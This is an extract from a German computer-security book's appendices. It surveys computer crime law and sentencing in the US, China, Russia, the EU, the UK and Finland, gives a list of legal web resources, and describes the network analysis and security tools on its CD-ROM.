http://www.eff.org/pub/Privacy/Security/Hacking_cracking_phreaking/Legal/comp_crime_us_state.
laws.
E.1.5 Das Gesetz in Aktion
Trotz der oft harten Strafen für Computerverbrechen werden Cracker selten ganz korrekt nach dem
Gesetz verurteilt. Das durchschnittliche Strafmaß beträgt ein Jahr. Wir wollen uns solche Fälle einmal
ansehen:
Ein junger Mann aus New York mit Namen Mark Abene (besser bekannt als Phiber Optik) legte
wichtige Netzwerke offen, darunter eine Abteilung von Bell Telephone und eine New Yorker
Fernsehanstalt. Ein amerikanisches Bezirksgericht verurteilte Abene zu einem Jahr Gefängnis.
(Das Urteil wurde im Januar 1994 verkündet.) Abenes Komplize erhielt ebenfalls eine milde
Strafe, die sich zwischen einem Jahr und einem Tag und sechs Monaten Bundesgefängnis
Computersicherheit und das Gesetz
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bewegte.
John Lee, ein junger Student in New York, wurde zu einem Jahr und einem Tag Bundesgefängnis
verurteilt, nachdem er die Sicherheit verschiedener Telekommunikations-Carrier, eines
Elektronikunternehmens und eines Unternehmens, das Flugkörper konstruiert, verletzt hatte.
Bis heute ist der Kalifornier Kevin Poulsen der amerikanische Cracker, der die längste Zeit hinter Gittern
verbringen mußte. Poulsen hatte das Pech, eine Site zu knacken, die verteidigunsrelevante Daten der
US-Regierung enthielt. Deshalb wurde er nach Spionagegesetzen verurteilt. Poulsen wurde auf ca. fünf
Jahre verurteilt und wurde erst letztes Jahr freigelassen, nachdem er die Spionage-Vorwürfe abschütteln
konnte. Die L.A. Times berichtete:
...die Anklage der Spionage wurde am Donnerstag offiziell fallengelassen als Teil der
Übereinkunft zwischen Poulsons Anwalt und der US-Staatsanwaltschaft. Als Ersatz dafür
erklärte er sich laut seinem Verteidiger, Paul Meltzer, folgender Vergehen schuldig: Besitz
von Vorrichtungen zum Zugriff auf Computer, Computerbetrug und Verwendung einer
gefälschten Sozialversicherungskarte.
Es gibt einen starken Widerwillen von seiten der Bundesgerichte, diese Personen zu den gesetzlich
vorgesehenen Höchststrafen zu verurteilen. Der Grund dafür ist, daß das in vielen Fällen ungerecht wäre.
Sicherheitspersonal besteht oft darauf, daß das Knacken eines Netzwerks die ultimative Sünde sei, etwas,
das einem Cracker niemals verziehen werden sollte. Diese Aussagen kommen jedoch von Personen, die
ständig Angst davor haben, ihre Hauptbeschäftigung zu verlieren: Netzwerke zu sichern. Sicherlich wird
jeder Sicherheitsexperte, dessen Netzwerk aus dem Nichts erfolgreich angegriffen wird, verärgert sein
und sich genieren. Shimomura hat sich - seltsam genug - wieder gut davon erholt. Die Fakten bleiben
bestehen: Einer der talentiertesten Sicherheitsspezialisten der Welt wurde von Kevin Mitnik
hochgenommen. Es ist dabei unwichtig, daß Mitnik schließlich gefaßt wurde. Die bloße Tatsache, daß er
Shimomuras Netzwerk geknackt hat, ist der Beweis dafür, daß Shimomura in seinem Job geschlafen hat.
Aussagen von Sicherheitsleuten über Verurteilungsrichtlinien sollten etwas reserviert betrachtet werden.
In Wirklichkeit war die vorige Generation von Crackern (und dazu gehört auch Mitnik, der nicht mal 16
war, als er anfing) nicht destruktiv. Sie waren ein schreckliches Ärgernis, und oft wurden Telefondienste
von ihnen gestohlen, aber selten kam es zu Schäden. Die neue Generation von Crackern ist dagegen
destruktiv. Weiter vorne in diesem Buch habe ich über eine Universität in Hawaii geschrieben, die
angegriffen wurde (die Universität ließ eine Sicherheitslücke in ihren SGI-Rechnern offen). In diesem
Fall wurde ein Schaden angerichtet, und es kostete viel Arbeit und Geld, das Problem zu beheben.
Ähnlich bösartig war der Diebstahl des Quellcodes bei Crack Dot Com (den Schöpfern des
Computerspiels Quake).
Dieser veränderte Charakter der modernen Cracker wird in Zukunft unweigerlich zu härteren
Verurteilungen führen. Auch soziale und wirtschaftliche Kräfte werden zu dieser Veränderung beitragen.
Da das Internet vermehrt für Bankgeschäfte verwendet werden wird, glaube ich, daß die Justizgewalt
strenger mit Crackern umgehen wird. Dennoch habe ich es irgendwie im Gefühl, daß die Urteile in
Amerika nie so hart ausfallen werden wie in anderen Ländern - z.B. China.
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E.1.6 Redefreiheit
Anwender nehmen fälschlicherweise vielleicht an, daß, aufgrund des Scheiterns des Communications
Decency Act in Pennsylvania, alle Arten der Redefreiheit im Internet erlaubt sind. Hier sind jedoch
einige Beispiele, für die das nicht der Fall ist:
Haßverbrechen und Schikanen sind gegen das Gesetz. 1995 wurde eine Person an der Universität
Irvine wegen solcher Aktivitäten angeklagt. Laut dem Artikel »Ex-Student Indicted for Alleged
Hate Crime in Cyberspace« behaupteten die Kläger, daß der Student »...am 20. Sept. per E-Mail
Drohungen an ca. 60 Studenten der Universitiy of California, Irvine« gesendet habe. Der Student
wurde deshalb »...angeklagt in zehn Fällen für das vorgebliche Senden von Computernachrichten,
in denen er drohte, asiatische Studenten zu töten«.
Wegweiser:
Den Artikel »Ex-Student Indicted for Alleged Hate Crime in Cyberspace« finden Sie unter
http://www.nando.net/newsroom/ntn/info/111496/ info15_1378.html.
Das Weiterleiten von Drohungen an den Präsidenten ist ebenfalls ungesetzlich. In einem Fall
wurde ein Mann inhaftiert, weil er Morddrohungen an den Präsidenten gesendet hatte. In einem
anderen, weniger umstrittenen Fall wurden Schüler der siebten Klasse vom Geheimdienst
festgenommen, weil sie Präsident Clinton geschrieben hatten, daß »sein Arsch ihnen gehöre«.
In bezug auf Schikanen und Rassenverunglimpfungen verfügt das US-Gesetz bereits über eine
Vorschrift, die auch für das Internet angewendet werden kann (und bereits wurde). Das ist die Fighting
Words Doctrine, in der es hauptsächlich darum geht, daß die Wörter gezielt an eine oder mehrere
Personen gerichtet sein müssen. Nur zu sagen, daß »alle Blonden dumm sind« ist noch kein Vergehen.
Ob die Anwendung dieser Gesetze schließlich erfolgreich ist, ist eine andere Frage. Sicherlich kann das
Posten derartiger Dinge auf einer Webseite oder sogar in einer Newsgruppe Grund sein, solche Gesetze
anzuführen, oder auch nicht (Drohungen an den Präsidenten sind die offensichtliche Ausnahme). Das
Gesetz für diesen Bereich ist noch nicht ganz ausgereift.
E.2 China
China hat eine etwas strengere Einstellung gegenüber Hackern und Crackern. Zum Beispiel berichtete
1992 die Associated Press, daß Shi Biao, ein chinesischer Staatsangehöriger, es schaffte, eine Bank zu
knacken. Er machte sich mit 192.000 Dollar davon, wurde jedoch später ergriffen und überführt. Sein
Urteil? Der Tod. Biao wurde im April 1993 hingerichtet. (Merken Sie sich also: Niemals in China
knacken.)
Die interessanteren Teile der chinesischen Gesetzgebung in bezug auf das Internet finden sich in einem
kuriosen Dokument, das etwa so betitelt ist: Ȇbergangsbestimmung der Volksrepublik China zur
weltweiten Verbindung über das Computer-Informationsnetzwerk.« Einige Dinge werden aus diesem
Dokument sofort deutlich. Erstens beabsichtigen die Chinesen, allen ausgehenden Verkehr zu
kontrollieren. Sie haben deshalb Unternehmen für die Art ihrer Verbindung bestimmte Beschränkungen
auferlegt:
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Ein Computernetzwerk muß beim direkten Zugriff auf das Internet die internationalen
Telekommunikationswege verwenden, die von der Telekommunikationsbehörde zur
Verfügung gestellt werden. Allen Unternehmen oder Einzelpersonen wird untersagt,
unabhängige Wege des Zugriffs zum Internet zu schaffen und zu benutzen.
Darüber hinaus beabsichtigt die chinesische Regierung, diesen ausgehenden Verkehr mitzuhören und zu
überwachen:
Die bestehenden angebundenen Netzwerke werden gefiltert und, wenn nötig, in
Übereinstimmung mit den Vorschriften des Staatsrats angepaßt, und unterliegen der Leitung
der Telekommunikationsbehörde. Die Schaffung eines neuen angebundenen Netzwerks
erfordert die Erlaubnis des Staatsrats.
Wegweiser:
Die »Übergangsbestimmung der Volksrepublik China zur weltweiten Verbindung über das
Computer-Informationsnetzwerk« finden Sie unter http:// www.smn.co.jp/topics/0087p01e.html.
Die Chinesen beabsichtigen, diese Kontrollen auf hierarchische Weise zu implementieren. In ihrem
Schema werden alle angebundenen Netzwerke durch die Kommunikationsinfrastruktur der Regierung
gefiltert. Alle lokalen Netzwerke müssen in diese angebundenen Netzwerke führen. Und alle
Einzelpersonen müssen schließlich ein lokales Netzwerk verwenden. Durch dieses Schema haben sie
eine Informationsinfrastruktur geschaffen, die leicht zu überwachen ist. Unterschiedliches Personal ist
für die einzelnen Stufen des Netzwerkverkehrs verantwortlich.
Weiterhin gibt es Bestimmungen, die die Weiterleitung von bestimmten Inhalten verbieten. Das sind z.B.
obszöne Inhalte - aber das ist noch nicht alles. Die Wortwahl des Artikels, der diese Bestimmungen
aufführt, ist ausreichend vage, aber deutlich genug, um die wahren Absichten des Staats erkennen zu
können:
Außerdem dürfen alle Arten von Informationen, die die öffentliche Ordnung stören könnten
oder als obszön anzusehen sind, nicht erzeugt, reproduziert oder übertragen werden.
Berichten zufolge beabsichtigt die chinesische Regierung, eine neue Chinesische Mauer zu bauen, um
den westlichen Teil des Internet abzuhalten. China steht mit der Anwendung seiner totalitären Politik auf
das Internet und Computer nicht alleine da. Sehen wir uns einmal Rußland an.
E.3 Rußland und die GUS
Rußlands Präsident Jelzin erließ die Verfügung 334 am 3. April 1995. Die Verfügung gewährte der
»Föderalen Agentur für Regierungsfernmeldewesen und Information beim Präsidenten der Russischen
Föderation« (FAPSI) eine außergewöhnliche Macht. Die Verfügung verbietet
...innerhalb der Telekommunikations- und Informationssysteme der
Regierungsorganisationen und Staatsbetriebe die Verwendung von
Codierungseinrichtungen, einschließlich Verschlüsselungsmethoden zur Sicherung der
Echtheit von Informationen (elektronische Signaturen) und sichere Methoden zur
Speicherung, Handhabung und Übertragung von Informationen...
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Der einzige Weg, solche Methoden verwenden zu dürfen, besteht in der Prüfung, Befürwortung und
Genehmigung durch FAPSI. Die Verfügung verbietet weiterhin
...daß juristische und natürliche Personen ohne Lizenz der FAPSI Informationsmedien
entwerfen, produzieren, verkaufen oder verwenden, genauso wenig wie sichere Methoden
zur Speicherung, Handhabung und Übertragung von Informationen und das Erweisen von
Diensten im Bereich der Informationsverschlüsselung.
Strenggenommen heißt das, daß kein russischer Bürger Software entwickeln oder verkaufen kann, ohne
eine Lizenz der FAPSI einzuholen, die als eine Art Informationspolizei agiert. Amerikanische
Geheimdienstquellen haben die FAPSI mit der NSA verglichen. Timothy L. Thomas schreibt in seinem
Artikel »Russian Views on Information-Based Warefare« folgendes:
Die FAPSI scheint viele der Missionen der U.S. National Security Agency zu erfüllen. Sie
kämpft ebenfalls gegen einheimische Kriminelle und Hakker, ausländische Spezialdienste
und »Informationswaffen«, die dazu dienen, unerlaubten Zugriff auf Informationen zu
bekommen und elektronische Verwaltungssysteme außer Betrieb zu setzen sowie die
Informationssicherheit der eigenen Verwaltungssysteme zu verbessern.
Wegweiser:
»Russian Views on Information-Based Warefare« finden Sie unter http://
www.cdsar.af.mil/apj/thomas.html.
Trotz dieser Mantel-und-Degen-Behandlung des Informationsaustausches in Rußland (der Kalte Krieg ist
schließlich vorbei) steigt der Zugriff auf das Internet in Rußland rapide an. Zum Beispiel berichtet Steve
Graves in einem Artikel in Internetica, daß sogar CompuServe innerhalb des russischen Staatenbunds ein
großer Internet Service Provider ist:
CompuServe, der größte amerikanische Online-Dienst, hat lokale Einwählknoten in mehr
als 40 russischen Städten, von Moskau und St. Petersburg bis nach Vladivostok. Der
Zugang wird von SprintNet zur Verfügung gestellt, das eine zusätzliche Gebühr auf die
Verbindungspreise aufschlägt. CompuServe selbst stellt zwar für die Verbindungen nicht
mehr in Rechnung als in den USA; da die maximale Übertragungsrate jedoch nur 2400
Baud beträgt, wird die für alle Zugriffe erforderliche Dauer um einiges erhöht, besonders,
wenn eine Windows-basierte Software verwendet wird.
Wegweiser:
Steve Graves' Artikel finden Sie unter http://www.boardwatch.com/mag/96/ feb/bwm19.htm.
Trotz Jelzins Verfügungen gibt es in Rußland eine ausgeprägte Cracker-Szene - fragen Sie einmal die
CitiBank. Die St. Petersburg Times berichtete folgendes:
Gerichtsdokumente, die am Freitag enthüllt wurden, zeigen, daß ein russischer
Computer-Hacker letztes Jahr mehr als 10 Millionen Dollar von dem elektronischen
Zahlungssystem der CitiBank erbeutet hat. Laut der CitiBank-Sprecherin wurde bis auf
400.000 Dollar alles wiedergewonnen. Keiner der Kontoinhaber verlor durch diesen Betrug
Geld, doch seit dies passiert ist, verlangt die CitiBank von ihren Kunden, für jeden Transfer
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einen elektronischen Paßwortgenerator zu verwenden. Der 34 Jahre alte Rädelsführer der
Hacker wurde vor drei Monaten in London verhaftet, und US- Behörden haben seine
Auslieferung in die USA beantragt, um ihn dort vor Gericht zu stellen.
Leider gibt es relativ wenig Informationen über die russische Gesetzgebung in bezug auf das Internet. Sie
können jedoch sicher sein, daß eine solche Gesetzgebung schnell zum Vorschein kommen wird.
E.4 Die Europäische Gemeinschaft
In diesem Abschnitt erläutere ich die Einstellung und Gesetze zu Computern und dem Internet in der
Europäischen Gemeinschaft. Obwohl Großbritannien natürlich auch zur Europäischen Gemeinschaft
gehört, behandle ich es separat. Der folgende Abschnitt bezieht sich hauptsächlich auf die allgemeine
EU-Gesetzgebung und Vorschläge in bezug auf das europäische Festland.
E.4.1 Das europäische Festland
Europäische Cracker und Hacker haben oft andere Motive für ihre Aktivitäten. Ihre Beweggründe für das
Hacken scheinen meistens politischer Natur zu sein. Eine interessante Analyse dieses Phänomens machte
Kent Anderson in »International Intrusions: Motives and Patterns«:
Eine nähere Untersuchung der Motive, die hinter Einbrüchen stecken, bringt mehrere
bedeutende internationale Unterschiede hervor: In Europa haben organisierte Gruppen oft
eine politische oder mit dem Umweltschutz verbundene Motivation, während in den USA
mehr »gegen die Etablierten« vorgegangen wird und auch einfach nur Vandalismus
betrieben wird. In den letzten Jahren scheint in Europa die Industriespionage zuzunehmen,
in den USA dagegen zeigt sich ein Anstieg der kriminellen (betrügerischen) Motive.
Wegweiser:
»International Intrusions: Motives and Patterns« finden Sie unter http://
www.aracnet.com/~kea/Papers/paper.shtml.
Aus diesen Gründen unterscheidet sich auch die Behandlung von Hackern und Crackern in Europa von
der in den USA. Ein vor kurzem behandelter Fall in Italien zeigt deutlich, daß die Redefreiheit in Europa
nicht immer so selbstverständlich gewährt wird wie in den USA.
Es wurde berichtet, daß bei einem Mailbox-System in Italien, das auch Zugang zum Internet zur
Verfügung stellte, im Februar 1995 eine Razzia durchgeführt wurde. Die Eigentümer und Betreiber
dieses Dienstes wurden später einiger ernster Verbrechen angeklagt. Das beschreibt Stanton McCandlish
in »Scotland and Italy Crack Down on 'Anarchy Files'«:
...die geprüften Personen wurden formell des Vergehens der terroristischen Subversion
angezeigt, für die es schwere Strafen gibt: 7-15 Jahre Gefängnis... Die BITS-BSS [das Ziel]
enthielt einen Dateiindex von Material, das von dem Spunk[Untergrund- Mailbox]-Archiv
verfügbar war (allerdings nicht die Dateien selbst), sowie frühere Ausgaben des Computer
Underground Digest (für den EFF selbst die Hauptarchiv- Site ist) und andere politische
und unpolitische Texte (keine Software).
Computersicherheit und das Gesetz
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Wegweiser:
Den Artikel von McCandlish finden Sie unter
http://www.eff.org/pub/Legal/Foreign_and_local/UK/Cases/BITS-A-t-E_Spunk/eff_raids.article .
Das klingt vielleicht etwas verwirrend, deswegen möchte ich eines klarstellen: Die Dateien, die zu der
Razzia führten (und späteren Anklagen) waren solche, die in den USA auf Tausenden Web-Sites zu
finden sind. Das FBI würde sich überhaupt nicht dafür interessieren. Interessant ist an der Sache noch
folgendes: Im Zuge der Verhaftungen übertrieb eine britische Zeitung mit ihrer Berichterstattung
reichlich und behauptete, die »Anarchie«-Dateien, die im Internet und dem betreffenden Mailbox-System
zur Verfügung gestellt wurden, stellten eine Gefahr für die nationale Sicherheit dar, da sie Kinder dazu
aufriefen, die Regierung zu stürzen. Die Zeitung wurde später verpflichtet, diese Aussagen zu
widerrufen.
Wegweiser:
Den Artikel aus der London Times, »Anarchists Use Computer Highway for Subversion«, von Adrian
Levy und Ian Burrell finden Sie unter http://
www.eff.org/pub/Legal/Foreign_and_local/UK/Cases/BITS-A-t-E_Spunk/ uk_net_anarchists.article.
Die Europäer bereiten sich auf diese Weise in gewissem Maße selbst Orwellsche Zustände. In einem
kürzlich erschienenen Bericht an den Europarat wurden Vorschläge für den Umgang mit diesen neuen
Technologien gemacht:
Im Hinblick auf die Annäherung von Informationstechnologie und Telekommunikation sollte
die Gesetzgebung betreffend der technischen Überwachung zum Zwecke der
Verbrechensaufklärung, wie z.B. des Abhörens von Fernmeldeverbindungen, überprüft und
wenn nötig geändert werden, um ihren Geltungsbereich zu garantieren. Das Gesetz sollte
Untersuchungsbehörden erlauben, sich aller technischen Maßnahmen zu bedienen, die zur
Sammlung von Verkehrsdaten in der Verbrechensaufklärung erforderlich sind.
In Europa wird man sich der Probleme immer bewußter, die Cracker hervorrufen können, und es gibt
daher starke Bestrebungen, solche Aktivitäten zu verhindern. Von diesen ist kein Mitgliedsstaat der EU
verschont geblieben. Die Franzosen z.B. haben vor kurzem einen peinlichen Vorfall erlebt, der in dem
von Reuters herausgegebenen Artikel »French Navy Secrets Said Cracked by Hackers« beschrieben
wurde:
Hacker haben ein Computersystem der Navy angezapft und sich Zugriff zu geheimen Daten
den Franzosen und ihrer Alliierten verschafft, wie die investigative und satirische
Wochenzeitung Le Canard Enchaine berichtete...Hacker verschafften sich im Juli Zugriff
auf das System und fingen Dateien mit akustischen Signaturen von Hunderten französischer
und alliierter Schiffe ab. Die Signaturen wurden in der U-Boot- Kriegsführung verwendet,
um durch Analyse der einzigartigen akustischen Merkmale der einzelnen Schiffe zwischen
Freund und Feind zu unterscheiden.
Computersicherheit und das Gesetz
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E.4.2 Großbritannien
Großbritannien hat seinen Teil zur Geschichte von Computer-Crackern und Hakkern beigetragen. Ich
kenne persönlich einen, der vor kurzem vernommen, durchsucht und verhaftet wurde. Die britischen
Regierungsbeamten scheinen sehr entschieden gegen Computerkriminalität vorzugehen. Dennoch ist der
Hauptteil der Gesetzgebung Großbritanniens, der sich dem Knacken von Computern zuwendet
(weitgehend basierend auf Paragraph 3[1] des Computer Misuse Act von 1990), zugegebenermaßen recht
knapp gehalten. Er deckt fast jede Tat ab, von der denkbar ist, daß sie von einem Cracker begangen
werden könnte. Der Paragraph hat folgenden Inhalt:
Eine Person macht sich eines Vergehens schuldig, wenn sie (a) eine Handlung durchführt,
die eine unautorisierte Änderung des Inhalts eines beliebigen Computers verursacht; und
(b) sie zum Zeitpunkt der Durchführung dieser Handlung den zwingenden Vorsatz und das
erforderliche Wissen hat.
Wie Sie sehen, ist hier der Vorsatz eine Voraussetzung für ein Verbrechen. Das heißt, daß eine
unautorisierte Änderung von dem Vorsatz begleitet sein muß. Das könnte zu einer anderen Auslegung
führen, als sie das Gericht im Falle von Morris hatte.
Der Fall gegen Christopher Pile (auch als Black Baron bekannt), der angeblich einen Virus in eine Reihe
von Netzwerken einschleuste, wurde nach dieser Gesetzgebung verhandelt. Pile wurde angeklagt (und
schließlich verurteilt), sich auf illegale Weise Zugriff zu Computersystemen und -daten verschafft und
diese beschädigt zu haben. Das Gericht verurteilte ihn im November 1995 zu 18 Monaten Gefängnis.
Pile ist, soweit bekannt ist, der erste Virusschreiber, der je nach diesem Gesetz verurteilt wurde.
E.4.3 Finnland
Finnland war von jeher für seine demokratische Anwendung der Computergesetze bekannt. Finnland hat
versucht, eine liberale oder fast neutrale Position zu unautorisiertem Spionieren, Cracken und Hacken
einzunehmen. Diese Zeiten sind jedoch vorbei. Lesen Sie sich einmal die folgende Aussage durch, die
Sami Kuusela in seinem Bericht »Finland Considering Computer Virus Bill« macht:
Die finnischen Gesetzgeber werden in den nächsten zwei Wochen eine Gesetzesvorlage
einreichen, die das Verbreiten von Computerviren zu einer strafbaren Handlung macht -
trotz der Tatsache, daß viele Viren unabsichtlich verbreitet werden. Das bedeutet, daß,
wenn jemand in Finnland eine mit einem Virus verseuchte Diskette an seinen Arbeitsplatz
mitbringt und diese nicht mit einem Antivirenprogramm überprüft und sich daraufhin der
Virus in dem Netzwerk ausbreitet, diese Person ein Verbrechen begangen haben wird.
Ebenso würde es als Verbrechen angesehen, wenn ein Virus sich ausbreitet, der in einer
Datei war, die sich jemand vom Internet heruntergeladen hat.
Wegweiser:
Kuuselas Bericht finden Sie unter http://www.wired.com/news/politics/ story/2315.html.
Man kann feststellen, daß der Trend (in allen Ländern und Rechtsprechungen) hauptsächlich dahin geht,
daß Daten geschützt werden sollen. Derartige Gesetzesvorschläge sind vor kurzem in der Schweiz,
Großbritannien und den USA entworfen worden.
Computersicherheit und das Gesetz
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E.5 Zusammenfassung
Das Internet-Recht ist ein ganz neues und aufregendes Gebiet. Da das Internet von einem so großen
öffentlichen Interesse ist, werden einige Kontroversen über Jahre ausgetragen werden. Alle
Internetnutzer sollten Sie sich immer über die neueste Rechtsprechung auf dem laufenden halten.
Zum Abschluß möchte ich noch eine Warnung aussprechen: Wenn Sie irgend etwas vorhaben, das Sie
über das Internet ausführen möchten, und sich nicht sicher sind, ob die Sache legal ist, sollten Sie die
Meinung eines Rechtsanwalts einholen. Suchen Sie Sich sich dafür nicht irgendeinen Rechtsanwalt aus,
sondern einen, der sich mit dem Internet-Recht wirklich auskennt. Viele Anwälte behaupten zwar, daß
sie sich auskennen, aber in Wirklichkeit gibt es davon nur sehr wenige. Auf dem
Information-Superhighway kann Ihnen genauso etwas zustoßen wie auf der Autobahn - Sie können
herausgewunken werden, einen Strafzettel bekommen oder sogar ins Gefängnis gehen.
E.6 Online Ressourcen
Berne Convention for the Protection of Literary and Artistic Works.
http://www.law.cornell.edu/treaties/berne/overview.html
EFF's (Extended) Guide to the Internet. (Urheberrechtsschutzgesetz)
http://soma.npa.uiuc.edu/docs/eegtti/eeg_105.html
Big Dummy's Guide to the Internet. (Urheberrechtsschutzgesetz)
http://www.bio.uts.edu.au/www/guides/bdgtti/bdg_101.html
Revising the Copyright Law for Electronic Publishing.
http://www.leepfrog.com/E-Law/Revising-HyperT.html
Copyright Law FAQ (3/6): Common Miscellaneous Questions.
http://www.lib.ox.ac.uk/internet/news/faq/archive/law.copyright-faq.part3.html
Copyrights, Trademarks, and the Internet. Donald M. Cameron, Tom S. Onyshko und W. David Castell.
http://www.smithlyons.com/it/cti/index.htm
New U.S. Copyright Board of Appeals Established.
http://www.jurisdiction.com/einh0002.htm
Copyright Law of the United States. US Code-Title 17, Section 107. Fair Use Clause.
http://lfcity.com/cpy.html
Copyright Law, Libraries, and Universities: Overview, Recent Developments, and Future Issues.
Kenneth D. Crews, J.D., Ph.D. Associate Professor of Business Law, College of Business. (Eine
ausgezeichnete Quelle.)
Computersicherheit und das Gesetz
file:///d|/cool stuff/old/hack/kap_e.htm (16 von 18) [19.04.2000 21:16:09]
http://palimpsest.stanford.edu/bytopic/intprop/crews.html
Recent Caselaw and Legislative Developments in Copyright Law in the United States.
http://www.ladas.com/GUIDES/COPYRIGHT/Copyright.USA.1995.html
Copyright Law and Fair Use.
http://www-sul.stanford.edu/cpyright.html
The First Amendment v Federal Copyright Law.
http://www.krusch.com/real/copyright.html
Software Copyright Law.
http://www.lgu.com/cr_idx.htm
Electronic Copyright Law in France.
http://www.spa.org/consumer/bus/franc.htm
U.S. Copyright Office General Information and Publications.
http://lcweb.loc.gov/copyright/
Copyright Clearance Center (CCC).
http://www.copyright.com/
Copyright Reform in Canada: Domestic Cultural Policy Objectives and the Challenge of Technological
Convergence.
http://www.sfu.ca/~gagow/capcom/cpyrght.htm
10 Big Myths about Copyright Explained. (Ein Versuch, auf verbreitete Mythen einzugehen, die über das
Urheberrecht im Internet und andere Themen in bezug auf das Urheberrecht und Veröffentlichungen im
Usenet/Internet herrschen.)
http://www.clari.net/brad/copymyths.html
Intellectual Property and the National Information Infrastructure.
http://www.uspto.gov/web/ipnii/
Allgemeine Quellen
Section 3 of the Computer Misuse Act 1990: An Antidote for Computer Viruses! Y. Akdeniz. Web
Journal of Current Legal Issues. 24. Mai 1996.
http://www.ncl.ac.uk/~nlawwww/1996/issue3/akdeniz3.html.
The Computer Fraud and Abuse Act of 1986.
http://www.law.cornell.edu/uscode/18/1030.html
Crime on the Internet.
http://www.digitalcentury.com/encyclo/update/crime.html
Computersicherheit und das Gesetz
file:///d|/cool stuff/old/hack/kap_e.htm (17 von 18) [19.04.2000 21:16:09]
EFF »Legal Issues and Policy: Cyberspace and the Law« Archive.
http://www.eff.org/pub/Privacy/Security/Hacking_cracking_phreaking/Legal/
Federal Guidelines for Searching and Seizing Computers. (U.S. Department of Justice Criminal Division
Office of Professional Development and Training. The Report of the Working Group on Intellectual
Property Rights.)
http://www.uspto.gov/web/offices/com/doc/ipnii/
National Information Infrastructure Protection Act of 1996.
http://www.epic.org/security/1996_computer_law.html
Fraud and Related Activity in Connection with Access Devices.
http://www.law.cornell.edu/uscode/18/1029.html
Computer Law Briefs.
http://sddtsun.sddt.com/~columbus/CBA/BBriefs/Wernick.html
Markt+Technik, ein Imprint der Pearson Education Deutschland GmbH.
Elektronische Fassung des Titels: hacker's guide, ISBN: 3-8272-5460-4
Computersicherheit und das Gesetz
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F
Inhalt der CD-ROM
F.1 CD-ROM
Auf der CD-ROM finden Sie im Verzeichnis docs einige interessante Texte zur Sicherheitsproblematik
und das Archiv der wohl wichtigsten Sicherheitsmailingliste bugtrag. Bitte beachten Sie, daß Sie
Glimpse installieren müssen, wenn Sie die Suchfunktion des Archivs nutzen wollen. Außerdem enthält
sie eine Menge weiterer Anwendungen und Utilities. Im folgenden stellen wir Ihnen einige der auf der
CD enthaltenen Tools vor.
F.1.1 Macintosh-Software
NetMinder Ethernet
Neon Software
3685 Mt. Diablo Blvd., Ste. 253
Lafayette, CA 94549
Tel.: 001-800-334-NEON
E-Mail: info@neon.com URL: http://www.neon.com/
NetMinder Ethernet ist ein Macintosh-basierter Protokoll-Analyzer, der automatisch Berichte im
HTML-Format erstellt. Diese Berichte werden in Echtzeit aktualisiert und ermöglichen es
Systemadministratoren auf diese Weise, von überall in der Welt auf ihre neuesten
Netzwerkanalyse-Statistiken zuzugreifen. (Natürlich bietet diese Anwendung auch eine Echtzeitanalyse
in der normalen GUI-Umgebung.)
F.1.2 Windows-Software - Netzwerk-Utilities
NetAnt
People Network, Inc.
1534 Carob Lane, Ste. 1000
Los Altos, CA 94024
Tel.: 001-650-917-8194
Fax: 001-650-917-8195
E-Mail: info@people-network.com URL: http://www.people-network.com/
Inhalt der CD-ROM
file:///d|/cool stuff/old/hack/kap_f.htm (1 von 14) [19.04.2000 21:16:12]
NetAnt kombiniert mehrere Eigenschaften zu einem Software-Protokoll-Analyzer, der den Zustand des
Netzwerkes auf komfortable Weise anzeigt und berichtet. NetAnt ist hauptsächlich für die
Protokollierung und Decodierung von Paketen vorgesehen. Es kann jedoch auch zur Überwachung der
Pakete auf einem Netzwerksegment verwendet werden, das über Brücken verbunden ist. Bei Computern,
die mehr als eine Adapterkarte zur Verbindung mit den verschiedenen Segmenten haben, ermöglicht
Ihnen NetAnt die Auswahl, welches Segment überwacht werden soll.
NetAnt benötigt weniger als 10 Mbyte Festplattenplatz. Wenn es nicht gerade Pakete generiert, stellt es
keine Belastung für Ihr Netzwerk dar. Auf einem Notebook installiert, kann NetAnt dazu verwendet
werden, Problemen in schwer erreichbaren Segmenten auf die Spur zu kommen. Kurzum: NetAnt ist ein
großartiges Programm.
Wichtige Merkmale von NetAnt sind unter anderem:
NetAnt kann eine Informationsmatrix des Netzwerkverkehrs in grafischem als auch tabellarischen
Format anzeigen, so daß Sie eine visuelle Vorstellung der Netzwerkumgebung bekommen.
NetAnt unterstützt alle üblichen Übertragungsprotokolle.
NetAnt bietet alle Eigenschaften, die ein LAN-Protokoll-Analyzer benötigt, wie die
Protokollierung, Decodierung, Filterung und Erzeugung von Paketen.
NetAnt unterstützt die Anzeige von Host-Informationen, Hostverkehr-Matrizen,
Protokollverteilung und Paketgrößenverteilung in grafischem Format; diese Dinge geben Ihnen
einen Überblick über die Netzwerkaktivitäten.
NetAnt verwendet den NDIS-Treiber zur Protokollierung von Paketen. Sie können NetAnt auf
jedem Windows-Rechner verwenden, in dem eine Netzwerk-Schnittstellenkarte (NIC) installiert
ist.
SAFEsuite
Internet Security Systems, Inc. (ISS)
41 Perimeter Center East, Ste. 660
Atlanta, GA 30071
Tel.: 001-770-395-0150
Fax: 001-770-395-1972
E-Mail: info@iss.net URL: http://www.iss.net/
SAFEsuite umfaßt eine Reihe von Tools, die zur Prüfung, Überwachung und Korrektur aller Aspekte der
Netzwerksicherheit gedacht sind. Internet Scanner ist der schnellste und umfassendste proaktive Unix-
und Windows-NT-Sicherheitsscanner, der derzeit verfügbar ist. Er ist einfach konfigurierbar, scannt
schnell und erzeugt umfassende Berichte. Internet Scanner prüft eine Netzwerkumgebung auf
ausgewählte Sicherheitslücken, indem er die Techniken eines entschlossenen Eindringlings simuliert. Je
nach den ausgewählten Berichtsoptionen liefert Internet Scanner Informationen über jede gefundene
Schwachstelle: Ort, genaue Beschreibung und vorgeschlagene Korrekturmaßnahmen (erfordert
Windows NT oder Unix).
Cetus StormWindows
Cetus Software, Inc.
Inhalt der CD-ROM
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P.O. Box 700
Carver, MA 02330
E-Mail: support@cetussoft.com URL: http://www.cetussoft.com/
Mit Cetus StormWindows für Windows 95 kann der autorisierte Benutzer seinem Windows- 95-Desktop
und -System verschiedene Arten und Ebenen des Schutzes hinzufügen. Richtig eingesetzt ermöglichen
StormWindows' Sicherheitsvorkehrungen die sichere Verwendung eines gemeinsam genutzten
Windows-95-PCs. (Eine Version für Windows NT 4 wird derzeit entwickelt.) Beispiele für den Schutz
des Desktop sind das Verstecken aller Desktop-Icons, das Verstecken von Programmgruppen und
-verknüpfungen im Menü »Start« (Systemsteuerung und Drucker) oder der Taskleiste sowie das
Verstecken der gesamten Netzwerkumgebung, des gesamten Netzwerkes oder von
Arbeitsgruppeninhalten innerhalb des Netzwerkes.
